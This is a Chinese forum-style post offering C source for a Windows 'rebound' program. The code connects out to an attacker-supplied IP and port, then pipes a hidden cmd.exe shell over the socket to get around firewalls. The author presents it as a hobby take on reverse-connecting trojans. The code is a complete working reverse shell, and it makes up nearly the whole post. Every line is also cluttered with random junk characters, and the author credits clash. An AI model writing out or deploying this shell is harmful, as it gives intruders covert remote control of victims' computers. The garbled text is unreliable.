这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +>4^mE" \
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/* ============================== jQ?LHUE
Rebound port in Windows NT #sZIDn J#
By wind,2006/7 1+a@k
===============================*/ &Xv1[nByU
#include ]rnXNn;
#include I(n }<)eF
p-,Iio+
#pragma comment(lib,"wsock32.lib") S.W^7Ap
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void OutputShell(); )km7tA
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SOCKET sClient; (8G$(MK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h8jB=e, H
+}U2@03I
void main(int argc,char **argv) ~,gLplpG0
{ HxZ.OZbR
WSADATA stWsaData; ;SKcbws
int nRet; ;%WdvnW
SOCKADDR_IN stSaiClient,stSaiServer; 'B`#:tX^N
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if(argc != 3) NF mc>0-
{ p,;mYm s
printf("Useage:\n\rRebound DestIP DestPort\n"); \_9rr6^"
return; L,$3Yj
} #uKWuGz]
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3$_*N(e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ybE[B}pOeZ
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stSaiClient.sin_family = AF_INET; 8+>\3j
stSaiClient.sin_port = htons(0); 5ITq?%{M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^)0 9OV+hF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +xp*]a
{ _B[WY
printf("Bind Socket Failed!\n"); .,M;huRg
return; L M
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} #ib^Kg
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stSaiServer.sin_family = AF_INET; a+Ab]m8`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7Cy<mS
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9B=1Yr[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kam]Mn'
{ @5E,:)T*wR
printf("Connect Error!"); ^N- 'xy
return; j5^-.sEEw
} b#a@rh
OutputShell(); :Q7mV%%
} X;VQEDMPU
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void OutputShell() DP*@dFU"
{ 2h q>T&8
char szBuff[1024]; x8\<qh*:
SECURITY_ATTRIBUTES stSecurityAttributes; h e&V# #
OSVERSIONINFO stOsversionInfo; [l*;E
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mU@xcN
STARTUPINFO stStartupInfo; >DP:GcTG
char *szShell; R ]P;sk5
PROCESS_INFORMATION stProcessInformation; >1ZJ{se
unsigned long lBytesRead; ($>XIb9f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4pPI'd&/7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !ni>\lZ
stSecurityAttributes.lpSecurityDescriptor = 0; ]JMl|e
stSecurityAttributes.bInheritHandle = TRUE; Qn|+eLY
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6(KmA-!b(O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9$RIH\*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +pp9d-n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CVQB"L
stStartupInfo.wShowWindow = SW_HIDE; H;S%Y`V
stStartupInfo.hStdInput = hReadPipe; |=5/Rax^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2d`c!
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GetVersionEx(&stOsversionInfo); _u5dC
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switch(stOsversionInfo.dwPlatformId) %Q~CB7ILK
{ jO8k6<l
case 1: K)N 0,Qwu
szShell = "command.com"; |[1D$Qv
break; @cv{rr
default: T)SbHp Y
szShell = "cmd.exe"; &&7r+.Y
break; Oy_c
} f*fE};
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LchnBtjn
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send(sClient,szMsg,77,0);
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while(1) 'jjb[{g^}}
{ $$1qF"GF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v\%G|8+]
if(lBytesRead) 33a uho
{ |vu>;*K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); i9m*g*"2
send(sClient,szBuff,lBytesRead,0); b$-e\XB!
} 926Tl
else =SBBvnPLI
{ yPgmg@G@/
lBytesRead=recv(sClient,szBuff,1024,0); o2uj =Gnx
if(lBytesRead<=0) break; z$[C#5+2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `i fiL
} = yXs?y"
} IIz0m3';+
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return; '{[),*nC n
}